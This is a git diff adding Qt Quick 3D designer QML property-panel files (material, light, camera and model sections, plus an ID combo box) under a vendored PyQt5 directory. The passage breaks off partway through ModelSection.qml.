LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Default Material") + width: parent.width + SectionLayout { + Label { + text: qsTr("Lighting") + tooltip: qsTr("Defines which lighting method is used when generating this material.") + } + ComboBox { + scope: "DefaultMaterial" + model: ["NoLighting", "FragmentLighting"] + backendValue: backendValues.lighting + Layout.fillWidth: true + } + Label { + text: qsTr("Blend Mode") + tooltip: qsTr("Determines how the colors of the model rendered blend with those behind it.") + } + ComboBox { + scope: "DefaultMaterial" + model: ["SourceOver", "Screen", "Multiply", "Overlay", "ColorBurn", "ColorDodge"] + backendValue: backendValues.blendMode + Layout.fillWidth: true + } + Label { + text: qsTr("Enable Vertex Colors") + tooltip: qsTr("Enables the use of vertex colors from the mesh.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.vertexColorsEnabled.valueToString + backendValue: backendValues.vertexColorsEnabled + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Diffuse") + width: parent.width + Column { + width: parent.width + ColorEditor { + caption: qsTr("Diffuse Color") + backendValue: backendValues.diffuseColor + supportGradient: false + Layout.fillWidth: true + } + SectionLayout { + Label { + text: qsTr("Diffuse Map") + tooltip: qsTr("Defines a texture to apply to the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.diffuseMap + } + } + } + } + } + + Section { + caption: qsTr("Emissive") + width: parent.width + Column { + width: parent.width + ColorEditor { + caption: qsTr("Emissive Color") + backendValue: backendValues.emissiveColor + supportGradient: false + Layout.fillWidth: true + } + SectionLayout { + Label { + text: qsTr("Emissive Factor") + tooltip: qsTr("Determines the amount of self-illumination from the material (will not light other objects).") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.emissiveFactor + Layout.fillWidth: true + } + } + Label { + text: qsTr("Emissive Map") + tooltip: qsTr("Sets a texture to be used to set the emissive factor for different parts of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.emissiveMap + } + } + } + } + } + + Section { + caption: qsTr("Specular") + width: parent.width + Column { + width: parent.width + ColorEditor { + caption: qsTr("Specular Tint") + backendValue: backendValues.specularTint + supportGradient: false + Layout.fillWidth: true + } + + SectionLayout { + Label { + text: qsTr("Specular Amount") + tooltip: qsTr("Controls the strength of specularity (highlights and reflections).") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.specularAmount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Specular Map") + tooltip: qsTr("Defines a RGB texture to modulate the amount and the color of specularity across the surface of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.specularMap + } + } + Label { + text: qsTr("Specular Model") + tooltip: qsTr("Determines which functions are used to calculate specular highlights for lights in the scene.") + } + ComboBox { + scope: "DefaultMaterial" + model: ["Default", "KGGX", "KWard"] + backendValue: backendValues.specularModel + Layout.fillWidth: true + } + Label { + text: qsTr("Reflection Map") + tooltip: qsTr("Sets a texture used for specular highlights on the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.specularReflectionMap + } + } + Label { + text: qsTr("Index of Refraction") + tooltip: qsTr("Controls what angles of reflections are affected by the Fresnel power.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 3 + minimumValue: 1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.indexOfRefraction + Layout.fillWidth: true + } + } + Label { + text: qsTr("Fresnel Power") + tooltip: qsTr("Decreases head-on reflections (looking directly at the surface) while maintaining reflections seen at grazing angles.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.fresnelPower + Layout.fillWidth: true + } + } + Label { + text: qsTr("Specular Roughness") + tooltip: qsTr("Controls the size of the specular highlight generated from lights and the clarity of reflections in general.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0.001 + decimals: 3 + backendValue: backendValues.specularRoughness + Layout.fillWidth: true + } + } + Label { + text: qsTr("Roughness Map") + tooltip: qsTr("Defines a texture to control the specular roughness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.roughnessMap + } + } + } + } + } + + Section { + caption: qsTr("Opacity") + width: parent.width + SectionLayout { + Label { + text: qsTr("Opacity") + tooltip: qsTr("Sets the visibility of the geometry for this material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.opacity + Layout.fillWidth: true + } + } + Label { + text: qsTr("Opacity Map") + tooltip: qsTr("Defines a texture used to control the opacity differently for different parts of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.opacityMap + } + } + } + } + + Section { + caption: qsTr("Bump/Normal") + width: parent.width + SectionLayout { + Label { + text: qsTr("Bump Amount") + tooltip: qsTr("Controls the amount of simulated displacement for the bump map or normal map.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bumpAmount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Bump Map") + tooltip: qsTr("Defines a grayscale texture to simulate fine geometry displacement across the surface of the material.") + } + SecondColumnLayout { + IdComboBox { + id: bumpMapComboBox + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.bumpMap + + Connections { + target: normalMapComboBox.backendValue + onExpressionChanged: { + if (normalMapComboBox.backendValue.expression !== "") + bumpMapComboBox.backendValue.resetValue() + } + } + } + } + Label { + text: qsTr("Normal Map") + tooltip: qsTr("Defines a RGB image used to simulate fine geometry displacement across the surface of the material.") + } + SecondColumnLayout { + IdComboBox { + id: normalMapComboBox + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.normalMap + + Connections { + target: bumpMapComboBox.backendValue + onExpressionChanged: { + if (bumpMapComboBox.backendValue.expression !== "") + normalMapComboBox.backendValue.resetValue() + } + } + } + } + } + } + + Section { + caption: qsTr("Translucency") + width: parent.width + SectionLayout { + Label { + text: qsTr("Translucency Falloff") + tooltip: qsTr("Defines the amount of falloff for the translucency based on the angle of the normals of the object to the light source.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 999999 + minimumValue: -999999 + realDragRange: 5000 + decimals: 2 + backendValue: backendValues.translucentFalloff + Layout.fillWidth: true + } + } + Label { + text: qsTr("Diffuse Light Wrap") + tooltip: qsTr("Determines the amount of light wrap for the translucency map.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.diffuseLightWrap + Layout.fillWidth: true + } + } + Label { + text: qsTr("Translucency Map") + tooltip: qsTr("Defines a grayscale texture controlling how much light can pass through the material from behind.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.translucencyMap + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DefaultMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DefaultMaterialSpecifics.qml new file mode 100644 index 00000000..632c733d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DefaultMaterialSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + DefaultMaterialSection { + width: parent.width + } + + MaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DepthInputSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DepthInputSection.qml new file mode 100644 index 00000000..3811eae7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DepthInputSection.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Depth Input") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Parameter") + tooltip: qsTr("Depth input texture name in the shader.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.param + Layout.fillWidth: true + showTranslateCheckBox: false + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DepthInputSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DepthInputSpecifics.qml new file mode 100644 index 00000000..1cdcb4df --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DepthInputSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + DepthInputSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DirectionalLightSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DirectionalLightSection.qml new file mode 100644 index 00000000..b378167b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DirectionalLightSection.qml @@ -0,0 +1,97 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("DirectionalLight") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Scope") + tooltip: qsTr("Sets the scope of the light. Only the node and its children are affected by this light.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Node" + Layout.fillWidth: true + backendValue: backendValues.scope + } + } + Label { + text: qsTr("Brightness") + tooltip: qsTr("Sets the strength of the light.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.brightness + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Color") + width: parent.width + + ColorEditor { + caption: qsTr("Color") + backendValue: backendValues.color + supportGradient: false + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Ambient Color") + width: parent.width + ColorEditor { + caption: qsTr("Ambient Color") + backendValue: backendValues.ambientColor + supportGradient: false + Layout.fillWidth: true + } + } + + ShadowSection { + width: parent.width + } + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DirectionalLightSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DirectionalLightSpecifics.qml new file mode 100644 index 00000000..b1df0b36 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/DirectionalLightSpecifics.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + NodeSection { + width: parent.width + } + + DirectionalLightSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/FrustumCameraSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/FrustumCameraSection.qml new file mode 100644 index 00000000..4b290ef4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/FrustumCameraSection.qml @@ -0,0 +1,95 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Frustum Camera") + + SectionLayout { + Label { + text: qsTr("Top") + tooltip: qsTr("Sets the top plane of the camera view frustum.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.top + Layout.fillWidth: true + } + } + Label { + text: qsTr("Bottom") + tooltip: qsTr("Sets the bottom plane of the camera view frustum.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.bottom + Layout.fillWidth: true + } + } + Label { + text: qsTr("Right") + tooltip: qsTr("Sets the right plane of the camera view frustum.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.right + Layout.fillWidth: true + } + } + Label { + text: qsTr("Left") + tooltip: qsTr("Sets the left plane of the camera view frustum.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.left + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/FrustumCameraSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/FrustumCameraSpecifics.qml new file mode 100644 index 00000000..55366944 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/FrustumCameraSpecifics.qml @@ -0,0 +1,48 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + FrustumCameraSection { + width: parent.width + } + + PerspectiveCameraSection { + width: parent.width + } + + NodeSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/IdComboBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/IdComboBox.qml new file mode 100644 index 00000000..9020bc0f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/IdComboBox.qml @@ -0,0 +1,123 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 as HelperWidgets + +HelperWidgets.ComboBox { + id: comboBox + + property alias typeFilter: itemFilterModel.typeFilter + + manualMapping: true + editable: true + model: comboBox.addDefaultItem(itemFilterModel.itemModel) + + textInput.validator: RegExpValidator { regExp: /(^$|^[a-z_]\w*)/ } + + HelperWidgets.ItemFilterModel { + id: itemFilterModel + modelNodeBackendProperty: modelNodeBackend + } + + property string defaultItem: qsTr("None") + property string textValue: comboBox.backendValue.expression + property bool block: false + property bool dirty: true + property var editRegExp: /^[a-z_]\w*/ + + onTextValueChanged: { + if (comboBox.block) + return + + comboBox.setCurrentText(comboBox.textValue) + } + onModelChanged: comboBox.setCurrentText(comboBox.textValue) + onCompressedActivated: comboBox.handleActivate(index) + Component.onCompleted: comboBox.setCurrentText(comboBox.textValue) + + onEditTextChanged: { + comboBox.dirty = true + colorLogic.errorState = !(editRegExp.exec(comboBox.editText) !== null + || comboBox.editText === parenthesize(defaultItem)) + } + onFocusChanged: { + if (comboBox.dirty) + comboBox.handleActivate(comboBox.currentIndex) + } + + function handleActivate(index) + { + if (!comboBox.__isCompleted || comboBox.backendValue === undefined) + return + + var cText = (index === -1) ? comboBox.editText : comboBox.textAt(index) + comboBox.block = true + comboBox.setCurrentText(cText) + comboBox.block = false + } + + function setCurrentText(text) + { + if (!comboBox.__isCompleted || comboBox.backendValue === undefined) + return + + comboBox.currentIndex = comboBox.find(text) + + if (text === "") { + comboBox.currentIndex = 0 + comboBox.editText = parenthesize(comboBox.defaultItem) + } else { + if (comboBox.currentIndex === -1) + comboBox.editText = text + else if (comboBox.currentIndex === 0) + comboBox.editText = parenthesize(comboBox.defaultItem) + } + + if (comboBox.currentIndex === 0) { + comboBox.backendValue.resetValue() + } else { + if (comboBox.backendValue.expression !== comboBox.editText) + comboBox.backendValue.expression = comboBox.editText + } + comboBox.dirty = false + } + + function addDefaultItem(arr) + { + var copy = arr.slice() + copy.unshift(parenthesize(comboBox.defaultItem)) + return copy + } + + function parenthesize(value) + { + return "[" + value + "]" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/MaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/MaterialSection.qml new file mode 100644 index 00000000..67441fe6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/MaterialSection.qml @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Material") + + SectionLayout { + + // Baked Lighting properties (may be internal eventually) + // ### lightmapIndirect + // ### lightmapRadiosity + // ### lightmapShadow + + // ### iblProbe override + + Label { + text: qsTr("Light Probe") + tooltip: qsTr("Defines a texture for overriding or setting an image based lighting texture for use with this material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.lightProbe + } + } + + Label { + text: qsTr("Displacement Map") + tooltip: qsTr("Defines a grayscale image used to offset the vertices of geometry across the surface of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.displacementMap + } + } + + Label { + text: qsTr("Displacement Amount") + tooltip: qsTr("Controls the offset amount for the displacement map.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.displacementAmount + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Culling Mode") + tooltip: qsTr("Defines whether culling is enabled and which mode is actually enabled.") + } + ComboBox { + scope: "Material" + model: ["BackFaceCulling", "FrontFaceCulling", "NoCulling"] + backendValue: backendValues.cullMode + Layout.fillWidth: true + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ModelSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ModelSection.qml new file mode 100644 index 00000000..77ec3261 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/ModelSection.qml @@ -0,0 +1,169 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Model") + + SectionLayout { + id: tessellationSection + + Label { + text: qsTr("Source") + tooltip: qsTr("Defines the location of the mesh file containing the geometry of this model.") + } + SecondColumnLayout { + UrlChooser { + backendValue: backendValues.source + filter: "*.mesh" + } + } + + function hasTessellationMode(mode) { + if (tessellationModeComboBox.backendValue.valueToString !== "" && + tessellationModeComboBox.backendValue.valueToString !== mode) + return false + + if (tessellationModeComboBox.backendValue.enumeration !== "" && + tessellationModeComboBox.backendValue.enumeration !== mode) + return false + + return true + } + + Label { + text: qsTr("Tessellation Mode") + tooltip: qsTr("Defines what method to use to dynamically generate additional geometry for the model.") + } + SecondColumnLayout { + ComboBox { + id: tessellationModeComboBox + scope: "Model" + model: ["NoTessellation", "Linear", "Phong", "NPatch"] + backendValue: backendValues.tessellationMode + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Edge Tessellation") + tooltip: qsTr("Defines the edge multiplier to the tessellation generator.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 64.0 + minimumValue: 0.0 + decimals: 0 + backendValue: backendValues.edgeTessellation + Layout.fillWidth: true + enabled: !tessellationSection.hasTessellationMode("NoTessellation") + } + } + Label { + text: qsTr("Inner Tessellation") + tooltip: qsTr("Defines the inner multiplier to the tessellation generator.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 64.0 + minimumValue: 0.0 + decimals: 0 + backendValue: backendValues.innerTessellation + Layout.fillWidth: true + enabled: !tessellationSection.hasTessellationMode("NoTessellation") + } + } + + Label { + text: qsTr("Enable Wireframe Mode") + tooltip: qsTr("Enables the wireframe mode if tesselation is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.isWireframeMode.valueToString + backendValue: backendValues.isWireframeMode + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Casts Shadows") + tooltip: qsTr("Enables the geometry of this model to be rendered to the shadow maps.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.castsShadows.valueToString + backendValue: 